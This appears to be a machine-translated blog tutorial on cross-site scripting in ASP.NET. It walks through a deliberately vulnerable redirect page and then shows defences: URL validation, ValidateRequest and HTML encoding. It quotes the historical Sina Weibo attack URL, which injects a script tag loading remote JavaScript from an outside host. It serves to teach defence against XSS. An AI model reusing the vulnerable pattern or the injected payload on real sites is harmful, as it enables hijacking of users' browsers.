1.1.1 Summary
In the first blog of this series, I introduced common SQL Injection attacks and defense technologies. This vulnerability can cause some very serious consequences, but fortunately we can prevent SQL Injection by limiting the permissions of user databases, using parameterized SQL statements, or using ORM and other technologies, next we will introduce you to Cross-site scripting (XSS ).
Definition: Cross-site scripting (XSS) is a computer security vulnerability that often appears in Web applications, it allows malicious Web users to implant code into pages provided to other users. For example, pages that contain HTML code and client scripts. Is not the abbreviation of Cascading Style Sheets (CSS), usually cross-site scripting is abbreviated as XSS. Attackers can bypass access control using the XSS vulnerability, such as the same origin policy or initiate phishing attacks, webpage Trojans, And cookie Theft.
The above definition is awkward and hard to understand. Let's recall that SQL Injection injects malicious code into the database, runs the SQL statement, and finally returns the corresponding data, therefore, SQL Injection acts on the database, while XSS sends malicious code to the service, allowing the server to send malicious code to other user browsers, and finally hijack the user's browser, therefore, XSS applies to users.
1.1.2 text
There are two main XSS attack methods:
Like an SQL Injection attack, I inject a script into the server. When a user accesses a URL on the method server, the URL will inject the remote js, this js may perform many operations automatically. For example, this event will help you send Weibo posts and send intra-site messages. There are many injection methods, such as submitting forms, modifying URL parameters, uploading images, setting signatures, and so on.
The other type is external attacks. It mainly refers to the Construction of XSS Cross-Site vulnerability web pages or the search for webpages with cross-site vulnerabilities other than the target machine. For example, when we want to penetrate a website, we construct a cross-site webpage and place it on our own server. Then, we use other technologies, such as social engineering, to trick the administrator of the target server into opening the webpage. This type of attacks pose relatively low threats. At least it is very difficult for Ajax to initiate cross-site calls (you may need a hack browser ).
Now let's take a specific example to see how XSS attacks occur. Suppose there is a recruitment website www.examplejob.com, it provides the ability to publish recruitment information for registered users on the website and send recruitment information to registered users.
Figure 1 Publish normal recruitment information
By publishing the recruitment information function of the website, we send the recruitment information to the server of the website, and then the server sends the information to the registered user, in this way, we have achieved the purpose of publishing information. However, when malicious users are very likely to exploit the vulnerabilities on the website to attack users.
Figure 2 publish malicious recruitment information
As shown in, malicious code, such as JavaScript, VBScript, ActiveX, HTML, or Flash, is embedded into the published information and sent to the server, if the server does not have good verification information, it forwards the information directly to the user, which will lead to an XSS attack disaster.
Through the above example, we found that XSS attacks and SQL Injection share the same points. They are attacked by malicious code Injection. The difference is that they have different attack objects.
XSS hijacks a user's browser by injecting malicious code, such as JavaScript, VBScript, ActiveX, HTML, or Flash, and then constructs a malicious URL.
Construct malicious URL attacks
Suppose there is a website that provides a link to www.examplejob.com, so the link is no longer normal, but have you ever thought that these external links may be dangerous?
Figure 3 normal page Jump
Through, we can see the status bar tells us that this link will jump to the http://www.exmplejob.com, in order to more intuitive analysis of XSS attacks, we directly add url parameters in the address bar to achieve the jump, the Code is as follows:
Page implementation:
<p>You are now leaving this site - we're no longer responsible!</p> <p><asp:Literal runat="server" ID="litLeavingTag" /></>
Code Behind:
var url = Request.QueryString["url"];litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
We use QueryString to obtain the parameters passed in the URL. If the URL contains malicious code, the malicious code will jump to a malicious website or directly execute malicious code to hijack the user's browser.
Figure 4 malicious URL Construction
We enter a piece of Javascript code in the address bar, which is also a common method of XSS attacks. It constructs malicious URLs. After a user clicks the link, attackers can run malicious code in users' browsers.
Figure 5 malicious URL Construction
When we click the link, a message box is displayed, indicating that we have been hacked when the browser runs malicious Javascript code. However, XSS attacks are not easily noticed by users, in addition, the attack is not just a prompt box.
Verify user input
In the previous blog, we used regular expressions to verify whether user input contains malicious code to defend against SQL Injection attacks. Here we also used regular expressions to check whether user input contains malicious code.
In RFC3986, only 19 reserved characters are allowed to perform some special functions. Let's verify the regular expression of the URL.
Figure 6 reserved characters in the URL
var url = Request.QueryString["url"];if (!string.IsNullOrEmpty(url)){ this.litLeavingTag.Text = Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ? string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";}
Here we use the static method IsMatch () of Regex to verify the URL. When we try to inject malicious Javascript code again, the URL is invalid. (For more powerful URL verification, click here)
Figure 7 Regular Expression Verification
Previously, we used a custom regular expression to verify the URL,.. NET Framework provides a method Uri for verifying whether a URL is valid. isWellFormedUriString (). We only need to pass the URL string to it for verification. Next, let's implement the URL verification function.
MSDN: by default, strings are considered to comply with RFC 2396 and RFC 2732 standard formats. If you enable international resource identifier (IRIs) or international domain name resolution (IDN) analysis, strings that comply with RFC 3986 and RFC 3987 specifications are considered to be complete and compliant.
var url = Request.QueryString["url"];// Adds the method to validate the url is correct or not.if (Uri.IsWellFormedUriString(url, UriKind.Absolute)){ litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);}else{ litLeavingTag.Text = "The url is invalid.";}
Figure 8 Regular Expression Verification
When we execute a URL containing malicious Javascript code again, the program successfully verifies that the URL contains malicious code, which effectively defends against XSS attacks.
Use ValidateRequest in. NET for verification
. NET Framework provides the ValidateRequest attribute to defend against XSS attacks. Because the default value of ValidateRequest is true, when the ValidateRequest attribute value is not set in the page, the page needs to be verified by default, and if ValidateRequest is false, the page does not require request verification, so we can effectively defend against XSS attacks without writing a line of code.
We deregistered the regular expression validation function, and set the ValidateRequest value to true on the page or in the Web. Config file. The implementation code is as follows:
Settings on the page:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>
The ValidateRequest attribute in Web. Config is applied to all pages:
<pages validateRequest="true" />
Figure 9 ValidateRequest Verification
HTML encoding output
The XSS vulnerability is caused by malicious code being parsed by the browser because the program does not properly process the output data. Therefore, an indispensable XSS defense policy is the output encoding method, it ensures that each character in a string is displayed in the correct format. For example, to correctly present text such as <,>, or space in a browser, We need to encode it, otherwise, the browser will execute its functions based on these feature texts, instead of correctly displaying them on the page.
Common HTML codes include: & nbsp;, & lt;, & gt; and & quot.
Generally, we need to display user input data on the web page. At this time, the HttpUtility. HtmlEncode () method comes in handy.
Use the HttpUtility. HtmlEncode () method to encode the output. If the passed string contains punctuation, it will encode the character, as shown in the following sample code.
protected void btnSubmit_Click(object sender, EventArgs e){ string inputText = this.Request.Form["txtInput"]; if (!string.IsNullOrEmpty(inputText)) { // Encodes text. this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText); }}
Figure 10 submit malicious code
We have submitted the malicious Javascript code to the server.
Figure 11 Html encoding output
Server usage. the static method provided in the. NET Framework -- HttpUtility. htmlEncode () encodes punctuation marks in strings. We can see that the symbols "<" and ">" are converted into "& lt;" and "& gt.
Non-HTML encoding output
The text presented previously uses HTML encoding. In fact, not all outputs are HTML encoding. JavaScript is a good example. Let's recall the previous example You have been hacked. We will display the text in a message prompt box rather than directly on the page.
Figure 12 non-Html encoding output
When we display HTML encoded text in a message prompt box, the text is still encoded and not decoded, however, when users see their first response, it means that our program has a garbled code problem. In fact, we only know that decoding is not done yet, therefore, we need to decode HttpUtility in some non-HTML codes first. htmlDecode () method.
You may remember the XSS attack events on Sina Weibo! It uses a URL of the Weibo square page http://weibo.com/pub/star to inject js scripts, and then through the http://163.fm/pxzhoxnshort chain service, the link pointing:
"> Http://weibo.com/pub/star/ <script src = // www.2kt.cn/images/t.js> </script>
After URL encoding:
Http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E? Type = update
Through the above example, we found that the above XSS attacks are not so mysterious.
1.1.3 Summary
As one of the greatest threats to Web Services, XSS has committed various crimes, such as the XSS attack on Sina Weibo, which not only harms Web Services, users who access Web services will also have a direct impact. The burden of defending against and blocking XSS attacks and ensuring the business security of Web sites falls on every developer.
Refer:
Http://msdn.microsoft.com/en-us/library/ms998274
Http://baike.baidu.com/view/2161269.htm
Http://coolshell.cn/articles/4914.html
Https://www.owasp.org/index.php/Cross-site_Scripting_ (XSS)